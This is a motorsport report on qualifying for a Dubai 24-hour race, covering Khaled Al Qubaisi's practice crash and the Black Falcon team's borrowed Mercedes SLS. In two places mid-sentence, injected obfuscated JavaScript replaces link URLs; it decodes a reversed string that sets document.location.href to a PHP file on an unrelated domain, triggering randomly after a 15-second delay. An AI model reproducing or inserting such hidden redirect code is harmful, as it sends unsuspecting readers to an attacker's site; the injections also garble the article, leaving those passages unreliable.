On paper, the #1 car ending qualifying as number 1 doesn’t seem that out of kilter. Last year’s race winners Sean Edwards, Jeroen Bleekemolen and Khaled Al Qubaisi are this year joined by the massively experienced Bernd Schneider, who was also $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-twenty-two-hours-in-with/” target=”_blank”>on for a podium finish last year but for complications in the closing stages.
Add to that the fact that the Mercedes SLS locked out last year’s podium, and a good result was on the cards from the get-go. That was until Al Qubaisi’s accident in free practice.
Caught off-guard by the gradient at turn five, Al Qubaisi was just a hair too late to catch the rear end snatching sideways and thereafter could do nothing to stop the Mercedes SLS AMG GT3 slamming into the unforgiving perimeter wall. Any other part of the circuit and the local boy may well have gotten away with it, give or take a badly flatspotted tyre or tye.
A crumpled front end and badly damaged suspension gave the Team Abu Dhabi by Black Falcon team a big problem: so steep was the damage that many in the paddock doubted the #1 entry would make it out for qualifying at all. The Falcons needed a car. Fast.
Fortunately, the British Preci-Spark team – also running a Mercedes SLS AMG – were gracious enough to sell their spare car to the Falcons. In a weekend where reliability is everything and technical issues can strike from nowhere, it was a huge gesture. And one which the #1 squad ultimately vindicated.
Early on, it had been the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/saudi-falcons-porsche-gt3-cup-middle-east-dubai-video/” target=”_blank”>Saudi Falcons that set the pace, even if the #16 AF Corse and #18 Visiom Ferrari 458 Italias were hot on their heels. The 2m 05s regulation – whereby teams would be eligible for pro or amateur competition depending on which side of the time they chose to aim for – had already claimed Dragon Racing and Dragonspeed, both of whom took the decision early to shoot for victory in A6 AM. Sights in the Saudi Falcons and AF Corse garages though were set firmly on victory.
Bleekemolen though – on only his third hot lap – soon made it a three-horse race, launching the #1 Merc back to the top of the timesheets with the first lap to dip below the two-minute mark.
